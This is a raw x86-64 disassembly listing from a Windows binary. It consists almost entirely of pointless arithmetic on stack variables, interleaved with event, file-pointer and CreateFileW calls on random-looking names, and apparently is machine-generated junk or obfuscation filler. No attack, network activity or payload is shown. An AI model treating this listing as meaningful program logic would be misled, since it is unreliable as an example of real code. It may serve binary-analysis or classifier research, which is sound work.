mov rax, qword [rsp + 0x4788]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x798], eax
mov rax, qword [rsp + 0x968]
movzx eax, byte [rax]
mov byte [rsp + 0x3f8], al
mov rax, qword [rsp + 0xda0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf90]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x218], ax
mov rax, qword [0x1400fd340]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaec]
add eax, ecx
mov word [0x1400fc450], ax
lea rax, [rsp + 0x328]
mov qword [rsp + 0x1fa0], rax
movzx eax, word [rsp + 0x1a4]
mov rcx, qword [rsp + 0x650]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x198], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2508], rax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x520]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1c2], al
mov eax, dword [rsp + 0xe38]
mov dword [rsp + 0x2750], eax
movsx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0x1840]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2418]
mov byte [rcx], al
mov rax, qword [rsp + 0x1018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1748], rax
mov rax, qword [rsp + 0xca8]
mov ecx, dword [rsp + 0xb90]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1a18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x740]
movsx eax, word [rax]
mov rcx, qword [0x1400fd2f0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xfe8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1a4]
movzx ecx, word [rsp + 0x300]
or eax, ecx
mov word [0x1400fd1e0], ax
mov rax, qword [rsp + 0x1138]
mov rax, qword [rax]
mov qword [rsp + 0x3148], rax
mov rax, qword [0x1400fd180]
mov rcx, qword [rsp + 0x9b8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x790]
mov qword [rcx], rax
movsx eax, word [rsp + 0x894]
movsx ecx, word [rsp + 0xc0]
sar eax, cl
mov word [rsp + 0xb1c], ax
movzx eax, word [rsp + 0x4b4]
mov rcx, qword [0x1400fd3d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4f0], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x36d1
mov rcx, qword [rsp + 0x2840]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x638], eax
lea rax, [rsp + 0x8e0]
mov qword [rsp + 0x1548], rax
movsx eax, byte [rsp + 0x92]
mov rcx, qword [rsp + 0xa88]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1cd8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa10]
mov rcx, qword [rsp + 0x1888]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa68]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x1b38]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2114], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.HBtczbsF94NDFGCjvZU1Rw
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2c60], rax
mov rax, qword [rsp + 0x16f8]
mov rax, qword [rax]
mov qword [rsp + 0x16f0], rax
lea rax, [rsp + 0x594]
mov qword [0x1400fd430], rax
mov rcx, qword [rsp + 0x1160]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xf70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x854]
and eax, ecx
mov rcx, qword [rsp + 0xf70]
mov word [rcx], ax
mov eax, dword [0x1400fc384]
mov dword [rsp + 0x27dc], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x9500
mov rcx, qword [rsp + 0x1ee0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1678], eax
movzx eax, byte [rsp + 0x1c2]
mov rcx, qword [rsp + 0x830]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c0], al
mov rax, qword [0x1400fd3a0]
movzx ecx, al
mov rax, qword [rsp + 0x16f0]
sar rax, cl
mov qword [rsp + 0xc58], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3dc0], rax
lea rax, [rsp + 0xf98]
mov qword [rsp + 0x2b38], rax
mov eax, dword [rsp + 0xbb8]
mov ecx, dword [rsp + 0x9f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x630], eax
movsx eax, byte [rsp + 0xf4]
movsx ecx, byte [0x1400fd134]
and eax, ecx
mov byte [rsp + 0x3ed], al
mov rax, qword [rsp + 0x1438]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x248]
and eax, ecx
mov word [rsp + 0x6c8], ax
movzx eax, word [rsp + 0x318]
mov rcx, qword [rsp + 0x1768]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1400fc430], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x319b
mov rcx, qword [rsp + 0x1e40]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbcc], eax
mov rax, qword [rsp + 0x1370]
mov rcx, qword [rsp + 0x1c68]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x1060], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x10a0], rax
movsx eax, word [rsp + 0x494]
movsx ecx, word [rsp + 0x1d0]
shl eax, cl
mov rcx, qword [rsp + 0x740]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1160]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xad0], eax
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
mov qword [rsp + 0x3df0], rax
mov rax, qword [rsp + 0xfc0]
mov rcx, qword [rsp + 0x768]
mov qword [rsp + 0x4790], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4790]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x1348], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.WAz7TKIKRCM
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3b00], rax
mov rax, qword [rsp + 0xd58]
mov eax, dword [rax]
add eax, dword [rsp + 0x568]
mov dword [rsp + 0x1a40], eax
mov rcx, qword [rsp + 0x1c70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1104], eax
movsx eax, byte [rsp + 0xf6]
mov rcx, qword [rsp + 0x17f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x548], al
movzx eax, word [rsp + 0x4c0]
mov rcx, qword [rsp + 0x1770]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock], ax
lea rax, [rsp + 0x11d0]
mov qword [0x1400fd438], rax
movzx eax, byte [rsp + 0x15b]
mov byte [rsp + 0x1be], al
mov eax, dword [rsp + 0xbc4]
mov ecx, dword [rsp + 0x34f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf8], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x9c59
mov rcx, qword [rsp + 0x1868]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9a0], eax
mov rax, qword [rsp + 0x7e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1438]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x4e0], ax
mov rax, qword [rsp + 0xdd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x210]
and eax, ecx
mov word [rsp + 0x720], ax
mov rax, qword [rsp + 0xd90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1300]
shr rax, cl
mov qword [rsp + 0x1040], rax
lea rax, [rsp + 0x208]
mov qword [rsp + 0x1158], rax
mov rax, qword [rsp + 0x1510]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1f58]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1368]
mov byte [rcx], al
movzx eax, word [rsp + 0x3a8]
mov word [rsp + 0xc48], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3790], rax
mov rax, qword [rsp + 0xa50]
movzx eax, word [rax]
mov rcx, qword [0x1400fd388]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1400fd340]
mov word [rcx], ax
mov rax, qword [rsp + 0x1928]
mov rcx, qword [rsp + 0x1760]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0xd50]
mov rcx, qword [0x1400fc428]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2ee0], rax
mov rax, qword [rsp + 0xd48]
mov rax, qword [rax]
mov qword [rsp + 0x1d30], rax
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x174]
xor eax, ecx
mov rcx, qword [rsp + 0x1ef8]
mov word [rcx], ax
lea rax, [rsp + 0x1c1]
mov qword [rsp + 0x24b8], rax
mov rax, qword [rsp + 0xf78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1ec0]
mov qword [rsp + 0x4798], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4798]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x1418], rax
mov rax, qword [rsp + 0x1508]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1688]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x970]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa4]
sar eax, cl
mov dword [rsp + 0x11a4], eax
mov rax, qword [rsp + 0x1090]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x59], al
movzx eax, word [rsp + 0x3b4]
mov word [0x1400fd440], ax
movzx eax, word [rsp + 0x5ac]
mov word [rsp + 0xb08], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x9d4b
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1994], eax
movzx eax, word [0x1400fd368]
mov rcx, qword [rsp + 0xa60]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x198], ax
mov rax, qword [rsp + 0xf58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2538]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3ed8], rax
mov rax, qword [rsp + 0x1158]
mov eax, dword [rax]
mov ecx, dword [0x1400fd318]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb9c], eax
mov rax, qword [rsp + 0x1c00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x500]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1870]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xfc]
mov byte [rsp + 0x57b], al
movsx eax, word [rsp + 0x4fc]
mov rcx, qword [rsp + 0x1420]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x43c], ax
mov rcx, qword [rsp + 0x1330]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x65ee
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1aa0], eax
mov rcx, qword [rsp + 0x1ed8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f4], eax
lea rax, [rsp + 0x308]
mov qword [rsp + 0x28c0], rax
mov rax, qword [rsp + 0x16e8]
mov rcx, qword [rsp + 0x778]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1400fd428], rax
movzx eax, word [0x1400fd178]
movzx ecx, word [rsp + 0x598]
xor eax, ecx
mov word [rsp + 0x6fc], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xd053
mov rcx, qword [rsp + 0x1868]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a3c], eax
mov rax, qword [rsp + 0x1d30]
movzx ecx, al
mov rax, qword [rsp + 0x1e58]
shl rax, cl
mov qword [rsp + 0x3648], rax
mov rax, qword [rsp + 0x328]
mov qword [rsp + 0x3d80], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3700], rax
mov rax, qword [rsp + 0x17b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf9]
add eax, ecx
mov byte [rsp + 0xf7], al
mov rax, qword [rsp + 0x1400]
mov rcx, qword [rsp + 0x988]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xac4], eax
movzx eax, byte [rsp + 0x155]
cdq
mov ecx, 0x61
idiv ecx
mov byte [rsp + 0xcd], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xea00
mov rcx, qword [rsp + 0x1f40]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7a8], eax
mov rcx, qword [rsp + 0x1b38]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1058]
mov ecx, dword [rsp + 0x11a0]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x9fc], eax
mov rax, qword [rsp + 0x1708]
mov qword [rsp + 0x2858], rax
lea rax, [rsp + 0x304]
mov qword [0x1400fd448], rax
mov rax, qword [rsp + 0x1190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x174]
sar eax, cl
mov word [rsp + 0x2bc], ax
movzx eax, word [rsp + 0x730]
movzx ecx, word [rsp + 0x12c]
add eax, ecx
mov word [rsp + 0x4dc], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.pcZTlu1LLLvnIY1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x28e8], rax
movzx eax, word [0x1400fd260]
mov rcx, qword [rsp + 0xf70]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x424], ax
mov rax, qword [rsp + 0x1430]
movzx eax, byte [rax]
mov byte [rsp + 0x22c], al
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0xd57
mov rcx, qword [rsp + 0x23e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1994], eax
mov rax, qword [rsp + 0x1708]
mov rcx, qword [rsp + 0x818]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc98], rax
mov rcx, qword [rsp + 0x28b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13d8], eax
mov rax, qword [0x1400fd1f0]
mov ecx, dword [rsp + 0x684]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xf60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x180]
movzx eax, word [rax]
mov word [rsp + 0xe6c], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1f77
mov rcx, qword [rsp + 0x3680]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10d8], eax
movzx eax, word [rsp + 0x5e8]
movzx ecx, word [0x1400fc3f0]
sub eax, ecx
mov rcx, qword [rsp + 0x648]
mov word [rcx], ax
mov rax, qword [rsp + 0x12b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1518]
sar rax, cl
mov qword [0x1400fc458], rax
mov rax, qword [rsp + 0x1218]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x18d0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x1e88], rax
mov rax, qword [rsp + 0xf88]
mov rcx, qword [rsp + 0xb40]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2ee0], rax
mov rax, qword [rsp + 0x1180]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1e8]
mov qword [rsp + 0x47a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x47a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0xfc8]
movzx eax, word [rax]
mov word [rsp + 0x4bc], ax
mov rax, qword [rsp + 0xd40]
mov ecx, dword [rsp + 0x1a7c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xdc0]
mov dword [rcx], eax
lea rax, [rsp + 0x51]
mov qword [rsp + 0x1c78], rax
mov rax, qword [rsp + 0x1200]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1cd8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1f58]
mov byte [rcx], al
mov rax, qword [rsp + 0x768]
mov rax, qword [rax]
add rax, qword [rsp + 0x2848]
mov qword [rsp + 0x1800], rax
mov rax, qword [rsp + 0x1150]
mov rcx, qword [rsp + 0xa48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x1400fd358]
mov dword [rcx], eax
movsx eax, word [rsp + 0x4d0]
mov rcx, qword [rsp + 0x2f8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x55c], ax
mov rcx, qword [rsp + 0x1ff8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x7e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x98]
and eax, ecx
mov word [rsp + 0x554], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa678
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x11a8], eax
movzx eax, word [rsp + 0x2c0]
mov word [rsp + 0x884], ax
mov rax, qword [rsp + 0x1308]
mov rax, qword [rax]
add rax, qword [rsp + 0x1808]
mov qword [rsp + 0x1518], rax
mov rax, qword [rsp + 0x1220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x338]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa10]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x1480]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0xfc]
mov qword [rsp + 0x1478], rax
mov rax, qword [0x1400fd358]
mov ecx, dword [rsp + 0x574]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xf60]
mov dword [rcx], eax
movzx eax, word [rsp + 0x588]
mov word [rsp + 0xc24], ax
movzx eax, word [rsp + 0x178]
movzx ecx, word [rsp + 0x150]
add eax, ecx
mov rcx, qword [0x1400fd340]
mov word [rcx], ax
mov rax, qword [rsp + 0x7c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x200]
mov qword [rsp + 0x47a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x47a8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x778]
mov qword [rcx], rax
lea rax, [rsp + 0x26c]
mov qword [rsp + 0x1d68], rax
mov rax, qword [rsp + 0x970]
mov ecx, dword [rsp + 0x1a80]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x970]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x134]
movzx ecx, byte [rsp + 0x108]
or eax, ecx
mov rcx, qword [rsp + 0x1c78]
mov byte [rcx], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xa826
mov rcx, qword [rsp + 0x1ee0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10c8], eax
lea rax, [rsp + 0x1960]
mov qword [rsp + 0x23b8], rax
mov rax, qword [0x1400fd1f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1508]
mov qword [rsp + 0x47b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x47b0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x1008]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x2618]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4354], eax
lea rax, [rsp + 0x3f8]
mov qword [rsp + 0x2990], rax
mov rax, qword [rsp + 0x18b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc0]
sub eax, ecx
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0xda8]
movzx eax, word [rax]
mov word [0x1400fd450], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x89ab
mov rcx, qword [rsp + 0x1778]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x99c], eax
mov rax, qword [rsp + 0x1838]
mov rcx, qword [rsp + 0x1000]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xf58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1fa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x328]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x29a8], rax
mov rax, qword [rsp + 0x1230]
movsx eax, word [rax]
movsx ecx, word [0x1400fc3b0]
sar eax, cl
mov word [rsp + 0x594], ax
lea rax, [rsp + 0x45c]
mov qword [rsp + 0x19d0], rax
mov rcx, qword [rsp + 0x2508]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2174], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xe1b7
mov rcx, qword [rsp + 0x2b60]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1130], eax
mov rax, qword [rsp + 0x1200]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x74]
and eax, ecx
mov rcx, qword [rsp + 0x17f0]
mov byte [rcx], al
mov eax, dword [0x1400fd1d8]
mov ecx, dword [rsp + 0x7ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1974], eax
mov rax, qword [rsp + 0x1220]
mov rax, qword [rax]
mov qword [rsp + 0x2fb0], rax
mov rax, qword [rsp + 0x1c68]
mov rcx, qword [rsp + 0x1848]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1440], rax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x370]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1400fc3c0], ax
movzx eax, word [rsp + 0x3b8]
movzx ecx, word [rsp + 0xec]
xor eax, ecx
mov word [rsp + 0x438], ax
mov eax, dword [0x1400fc384]
mov ecx, dword [rsp + 0x678]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd0], eax
mov rax, qword [rsp + 0xd20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x520]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0x1760]
mov qword [rsp + 0x2ec0], rax
movsx eax, byte [rsp + 0x11e]
mov rcx, qword [0x1400fd238]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xf40]
mov byte [rcx], al
mov rax, qword [rsp + 0x2410]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa10]
add rax, qword [rcx]
mov qword [rsp + 0x1cf0], rax
mov eax, dword [rsp + 0xc4]
mov ecx, dword [rsp + 0xc8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x570], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x51ca
mov rcx, qword [rsp + 0x1940]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcec], eax
mov rcx, qword [rsp + 0x17a0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x740]
movzx eax, word [rax]
mov word [rsp + 0x8cc], ax
movzx eax, word [rsp + 0x1dc]
mov word [0x1400fd454], ax
mov rax, qword [rsp + 0x1138]
mov rcx, qword [rsp + 0x1f8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb70], rax
movzx eax, word [0x1400fc3f0]
mov rcx, qword [rsp + 0x1770]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x394], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xbde1
mov rcx, qword [rsp + 0x2340]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
lea rax, [rsp + 0x4ec]
mov qword [rsp + 0x1698], rax
mov rax, qword [rsp + 0x618]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd78]
mov qword [rsp + 0x47b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x47b8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xff0]
mov qword [rcx], rax
lea rax, [0x1400fc382]
mov qword [rsp + 0x2cb0], rax
mov eax, dword [rsp + 0x1688]
mov ecx, dword [rsp + 0x694]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x674], eax
mov rax, qword [rsp + 0x1888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1748]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2b38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
mov word [rsp + 0xb10], ax
mov rax, qword [rsp + 0x2258]
mov rcx, qword [rsp + 0x1c88]
and rcx, rax
mov rax, rcx
mov qword [0x1400fc460], rax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf5]
shl eax, cl
mov byte [rsp + 0xeb], al
lea rax, [0x1400fc384]
mov qword [rsp + 0x24c8], rax
movsx eax, word [rsp + 0x448]
mov rcx, qword [rsp + 0x2090]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x218], ax
movzx eax, word [rsp + 0x42c]
movzx ecx, word [0x1400fd368]
or eax, ecx
mov word [rsp + 0x434], ax
mov rax, qword [rsp + 0x1448]
mov rcx, qword [rsp + 0x1da8]
mov qword [rsp + 0x47c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x47c0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2798], rax
mov rax, qword [rsp + 0xa90]
mov eax, dword [rax]
add eax, dword [rsp + 0x660]
mov rcx, qword [rsp + 0xd28]
mov dword [rcx], eax
mov rax, qword [0x1400fd330]
movzx eax, byte [rax]
mov byte [rsp + 0x228], al
mov rcx, qword [rsp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2758], eax
mov rax, qword [rsp + 0xff8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x390]
sub eax, ecx
mov rcx, qword [rsp + 0x1190]
mov word [rcx], ax
movzx eax, word [rsp + 0x45c]
movzx ecx, word [rsp + 0xaf0]
sub eax, ecx
mov word [0x1400fc398], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x2c6d
mov rcx, qword [rsp + 0x2b60]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x904], eax
mov rax, qword [rsp + 0xb50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb40]
add rax, qword [rcx]
mov qword [rsp + 0x2628], rax
mov rcx, qword [rsp + 0x1728]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xb28]
mov rcx, qword [rsp + 0x200]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2b0]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x85cc
mov rcx, qword [rsp + 0x3d38]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe14], eax
mov rax, qword [rsp + 0xc78]
movzx ecx, al
mov rax, qword [rsp + 0x760]
sar rax, cl
mov qword [rsp + 0x1528], rax
movzx eax, word [rsp + 0xc48]
mov word [rsp + 0x5e0], ax
movsx eax, byte [rsp + 0x11d]
movsx ecx, byte [rsp + 0x135]
sub eax, ecx
mov rcx, qword [rsp + 0x17f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov dword [rsp + 0xe2c], eax
mov rax, qword [rsp + 0x1c00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1078]
add rax, qword [rcx]
mov qword [rsp + 0x11d8], rax
mov eax, dword [rsp + 0x1674]
cdq
idiv dword [rsp + 0x480]
mov rcx, qword [rsp + 0x970]
mov dword [rcx], eax
lea rax, [rsp + 0x118]
mov qword [rsp + 0x2408], rax
mov rax, qword [rsp + 0x1010]
movzx eax, word [rax]
mov word [0x1400fd458], ax
mov eax, 0x38
imul rax, rax, 4
mov dword [rsp + rax + 0x5b80], 0xcae257c8
